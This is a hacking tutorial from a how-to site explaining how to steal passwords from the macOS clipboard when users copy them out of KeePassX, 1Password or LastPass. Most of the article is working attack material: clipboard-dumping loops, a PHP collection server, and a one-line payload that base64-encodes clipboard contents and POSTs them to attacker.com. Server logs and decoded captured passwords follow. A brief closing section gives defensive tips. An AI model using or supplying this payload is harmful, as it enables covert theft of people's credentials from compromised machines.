Hacking macOS: How to Dump 1Password, KeePassX & LastPass Passwords in Plaintext « Null Byte :: WonderHowTo

KeePassX, 1Password, and LastPass are effective against keyloggers, phishing, anddatabase breaches, but passwords managers rely on the operating system's clipboard to securely move credentials from the password vault to the web browser. It's within these few seconds that an attacker can dump the clipboard contents and exfiltrate passwords.Two scenarios come to mind with a clipboard-dumping attack geared toward password managers, and both utilize thepbpastecommand found in all versions of macOS. Pbpaste will take any data found in the clipboard (including passwords) and write it to thestandard output. Any macOS user can try this by first copying a password to the clipboard then immediately typingpbpasteinto a terminal.It doesn't require special privileges to execute pbpaste, and the clipboard can be written to any file, as shown below. This affects KeePassX, 1Password, LastPass, and even Apple's own built-in iCloud Keychain password manager.~$ pbpaste >>/tmp/clipboard.txtOption 1: Dump the Clipboard LocallyScenario:The attacker has established apersistent backdoorand wants to gather passwords stored in KeePassX, 1Password, or LastPass over a prolonged period. MacOS has become better about protecting against keyloggers, and anyonelivestreaming the desktopcouldn't unhide or reveal credentials stored in the password managers.The attacker can dump the clipboard into a local file and occasionally check it for new passwords. An infinitewhile loopwith a five second delay should do the trick.~$ while true; do echo -e "\n$(pbpaste)" >>/tmp/clipboard.txt && sleep 5; doneThe while loop will execute pbpaste and pause (sleep) for five seconds. The command within the loop will repeat over and over again, repeatedly dumping anything found in the clipboard. Anechohas been introduced to create a newline (\n) with every entry to prevent data from concatenating on the same line.Don't Miss:Dump Passwords Stored in Firefox BrowsersFrom an additional Netcat shell, usecatortailto view the clipboard.txt file contents.~$ tail -f /tmp/clipboard.txtTail will follow (-f) changes appended to the file and immediately print new content discovered in the clipboard.Prevent the clipboard.txt file from flooding with duplicate lines by evaluating the clipboard contents and comparing it to the last entry in the file.~$ while true; do if [[ "$(pbpaste)" != "$(tail -n1 /tmp/clipboard.txt)" ]]; then echo -e "\n$(pbpaste)" >>/tmp/clipboard.txt; fi && sleep 5;doneOnly if the current clipboard content is not equal (!=) to the last entry (tail -n1) in clipboard.txt will pbpaste update the file.However, this solution is somewhat flawed. Theifstatement only compares the last line of the clipboard.txt file, so if there are multiple lines in the clipboard it'll fail to recognize it as a duplicate entry. But it serves its purpose for this article and most scenarios. You can spend a little time devising a robust, proper solution with this as the basic foundation.Option 2: Exfiltrate Passwords to a Remote ServerScenario:The attacker doesn't care to remotely access the MacBook. The payload is instead designed to exfiltrate the clipboard to the attacker's server at intervals.In this scenario, the attacker only cares about exfiltrating the clipboard and hasn't backdoored the MacBook. Instead, they have found a way to remotelyexecute code on the target macOS device. Setting up this attack involves a PHP server controlled by the attacker used to intercept exfiltrated data. A Debianvirtual private serveris used in my example.Step 1: Install PHPTo get started, installphpwith the followingapt-getcommand, which will work in Debian and Kali Linux.~# apt-get update && apt-get install php

Ign:1 http://http.us.debian.org/debian stretch InRelease
Hit:2 http://http.us.debian.org/debian stretch-updates InRelease
Hit:3 http://security.debian.org/debian-security stretch/updates InRelease
Hit:4 http://http.us.debian.org/debian stretch Release
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  apache2-bin libapache2-mod-php7.0 libapr1 libaprutil1 libaprutil1-dbd-sqlite3 libaprutil1-ldap liblua5.2-0 php
  php-common php7.0 php7.0-cli php7.0-common php7.0-json php7.0-opcache php7.0-readline psmisc
0 upgraded, 16 newly installed, 0 to remove and 0 not upgraded.
Need to get 5,209 kB of archives.
After this operation, 19.9 MB of additional disk space will be used.
Do you want to continue? [Y/n]Make a directory called "phpServer/" using the belowmkdircommand.~# mkdir phpServer/Change into the phpServer/ directory using thecdcommand.~# cd phpServer/Create a file called "index.php" withnano.~/phpServer# nano index.phpPaste the below PHP code into the nano terminal. Once that's done, to save and exit the nano terminal, pressCtrl+x, theny, thenEnter.<?php
$input = file_get_contents("php://input");
$log = file_put_contents('clipboard.txt', $input.PHP_EOL , FILE_APPEND | LOCK_EX);
?>This simple PHP server is capable of intercepting data and doesn't need to be modified in any way to function. When the MacBook sends the clipboard contents, the server will capture and append the data to a file called "clipboard.txt."Finally, start the PHP server with thephp -S 0.0.0.0:80command.~/phpServer# php -S 0.0.0.0:80

PHP 7.0.33-0+deb9u3 Development Server started at Sun Jun  9 08:38:55 2019
Listening on http://0.0.0.0:80
Document root is /root/phpServer
Press Ctrl-C to quit.Step 2: Create the PayloadThe below script will compare the current clipboard contents to the most recent sent to the attacker's server. For clarity, it's in standard shell script format to allow space for comments.# While loop to dump the clipboard over and over again, infinitely.
while true; do

    # An `if` statement, compares the current clipboard
    # content to the content found in the last loop.
    if [[ "$(pbpaste)" != "$pbpaste_last" ]]; then

        # A `p` to store the encoded clipboard contents. The
        # contents must be encoded before sending to the
        # attacker's server to prevent it from breaking the
        # proceeding curl command.
        p="$(echo $(pbpaste) | base64)"

        # Curl takes the encoded string and delivers it to
        # the attacker's server via POST request.
        curl --data "$p" -X POST 'http://attacker.com/'

        # The `pbpaste_last` variable is updated. This variable
        # is evaluated in the following loop.
        pbpaste_last="$(pbpaste)"

        # Delay for 5 seconds before checking the clipboard
        # for new contents. Decreasing this value will cause
        # the script to evaluate the clipboard more frequently,
        # but will have a negative impact on the MacBook's
        # CPU. Increasing the value may cause the script to
        # miss a valuable password. Adjust as needed.
        sleep 5
    fi
doneCompress the script into one line to have it fit conveniently intovarious types of stagers.Don't Miss:Getting Started with Hacking macOS Computerswhile true; do if [[ "$(pbpaste)" != "$pbpaste_last" ]]; then p="$(echo $(pbpaste) | base64)"; curl --data "$p" -X POST 'http://attacker.com/' && pbpaste_last="$(pbpaste)"; sleep 5; fi; doneStep 3: Examine the Exfiltrated DataAs the PHP server receives clipboard data, it will indicate the origin of the data (IP address) as well as the date and time. PressCtrl+cto stop the PHP server.PHP 7.0.33-0+deb9u3 Development Server started at Sun Jun  9 08:38:55 2019
Listening on http://0.0.0.0:80
Document root is /root/phpServer
Press Ctrl-C to quit.
[Sun Jun  9 09:03:23 2019] 23.129.64.153:63761 [200]: /
[Sun Jun  9 09:03:33 2019] 23.129.64.153:46089 [200]: /
[Sun Jun  9 09:03:50 2019] 23.129.64.184:13728 [200]: /
[Sun Jun  9 09:03:56 2019] 199.195.250.77:38894 [200]: /
[Sun Jun  9 09:04:02 2019] 199.195.250.77:40646 [200]: /
[Sun Jun  9 09:04:10 2019] 209.141.58.114:45602 [200]: /View the clipboard.txt contents withcatto find the encoded passwords. KeePassX and 1Password automatically clear the clipboard after ten and thirty seconds, respectively. LastPass states it clears the clipboard "after a default amount of time." Empty deliveries from the MacBook appear as "Cg==" encoded.~/phpServer# cat clipboard.txt

WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==
Cg==
dGhpcyBpcyBteSBwYXNzd29yZAo=
UHdVN1YzWzg3a3ZUPyNed01QKF9jVHltNj8iPjoifTp7Kl5gYH4K
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==
Cg==
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==The following command will automatically decode all of the base64 strings in the clipboard.txt file. All of the below strings are passwords captured while using KeePassX, 1Password, and LastPass.~/phpServer# cat clipboard.txt | while read -r password; do base64 -d <<< "$password"; done

YT4n3M4sCpjpsTV7LkZoK

this is my password
PwU7V3[87kvT?#^wMP(_cTym6?">:"}:{*^``~
YT4n3M4sCpjpsTV7LkZoK

YT4n3M4sCpjpsTV7LkZoKLive Off the Land (Conclusion)Penetration testers are encouraged to utilize as many resources already present in the compromised operating system (i.e., "living off the land"). LikecURL,Netcat,Bash, andLibreSSL, pbpaste is yet anotherbuilt-in tooleasily abused by a hacker duringpost-exploitation engagements.Attackers will explore every avenue to discover a target's login passwords. Pbpaste makes dumping credentials stored in password managers almost too easy.How to Protect Yourself from Clipboard DumpingTo prevent an attacker from having an opportunity to dump the clipboard, install the official1Password browser extensionorLastPass browser extension. They are available for all modern web browsers. For KeePassX users,similar browser extensions exist, but none have been officially audited or tested.For 1Password, once the extension is installed, enable the "1Password Extension Helper" when prompted. Then, the helper would allow 1Password to autofill credentials while logging into websites. Autofill does not use the clipboard at all, therefore preventing a clipboard attack. The process is similar for the LastPass extension.Keep in mind that neither work 100% of the time. Sometimes, it's necessary to copy passwords to the clipboard when autofill on a website does not work.If you must copy a password, you can adjust the clipboard settings for the password manager. For instance, you can go open 1Password's preferences, select "Security," then enter a time in seconds by "Clear clipboard contents after." Make it as short as can be. In the hacks above, we used five-second intervals, so three or four seconds may be useful, but that doesn't mean a hacker won't be able to grab a password if it checks the clipboard at the right moment or if the time interval is decreased.Overall, there is no built-in way to clear the clipboard on macOS after a set amount of time or as soon as an item is pasted, nor would it be advisable since the clipboard is used for more than just passwords.You could build a Service for "Clear Clipboard" and assign it a keyboard shortcut likeCommand+Down Arrow. Then, you can manually clear the clipboard after pasting a password, so it's not sitting in there longer than necessary. Justbuild the Service with Automator, but use the following as the "Run Shell Script." However, you'd run into the same problem as described above about the clipboard being exfiltrated at the right moment or with a smaller interval before checks.pbcopy </dev/nullIf you enjoyed this article, follow me on Twitter@tokyoneon_. For questions and concerns, leave a comment or message me on Twitter.Don't Miss:Create a Fake PDF Trojan with AppleScriptFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by tokyoneon/Null ByteRelatedMac for Hackers:How to Manage Your Passwords with KeePassXHow To:The 4 Best Password Managers for AndroidHow To:Use Third-Party Password Managers with iOS 12's AutoFill FeatureHow To:The 4 Best Password Managers for iPhoneHow To:It's Really No Contest — LastPass Is the Best Password Manager for iPhone & AndroidHow To:Use Biometrics to Change Your LastPass Master Password from Your PhoneNews:Why You Still Shouldn't Use iCloud Keychain to Store Your Passwords in iOS 12How To:This LastPass Phishing Hack Can Steal All Your Passwords—Here's How to Prevent ItHow To:Dashlane & LastPass Can Now Automatically Strengthen All of Your Weak PasswordsHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHow To:LastPass's AutoFill API Is Finally Out of Beta - Here's How Oreo Users Can Turn It OnHacking macOS:How to Bypass the LuLu Firewall with Google Chrome DependenciesHow To:The Ultimate Guide to Hacking macOSHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHow To:Find Hacked Accounts Online ~ PART 2 - PastebinHow To:Hack Your Roommate! How to Find Stored Site Passwords in Chrome and FirefoxHow To:Password-Protect Your Pages Documents So Only You & Allowed Collaborators Can Access ThemHow To:Dump a MacOS User's Chrome Passwords with EvilOSXMac for Hackers:How to Get Your Mac Ready for HackingHacking macOS:How to Hack a Mac Password Without Changing ItHow To:Exploit Recycled Credentials with H8mail to Break into User AccountsHow To:Create, AutoFill & Store Strong Passwords Automatically for Websites & Apps in iOS 12How To:Drop Everything! Here's How to Secure Your Data After Heartbleed: The Worst Web Security Flaw EverHacking macOS:How to Hack a MacBook with One Ruby CommandHow To:Easily Bypass macOS High Sierra's Login Screen & Get Root (No Password Hacking Required)How To:Use Maltego to Target Company Email Addresses That May Be Vulnerable from Third-Party BreachesHow To:Have Your Passwords Ever Been Leaked Online? Find Out with PwnedListHow To:Perform a Pass-the-Hash Attack & Get System Access on WindowsHow To:Store and manage your passwords on a Windows PC with 1PasswordVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Use the LastPass Password ManagerHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)How To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)How To:The 5 Best Two-Factor Authentication Apps for iPhone & AndroidNews:The 25 Worst Passwords That People Used in 2015How To:Keep track of your passwords on an Android phone with the LastPass appHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHow To:Protect Yourself from macOS High Sierra's Glaring Empty-Password Security FlawHow To:The Safe & Secure Way to Get Your Phone to Remember Your App PasswordsHow To:Hack Facebook & Gmail Accounts Owned by MacOS Targets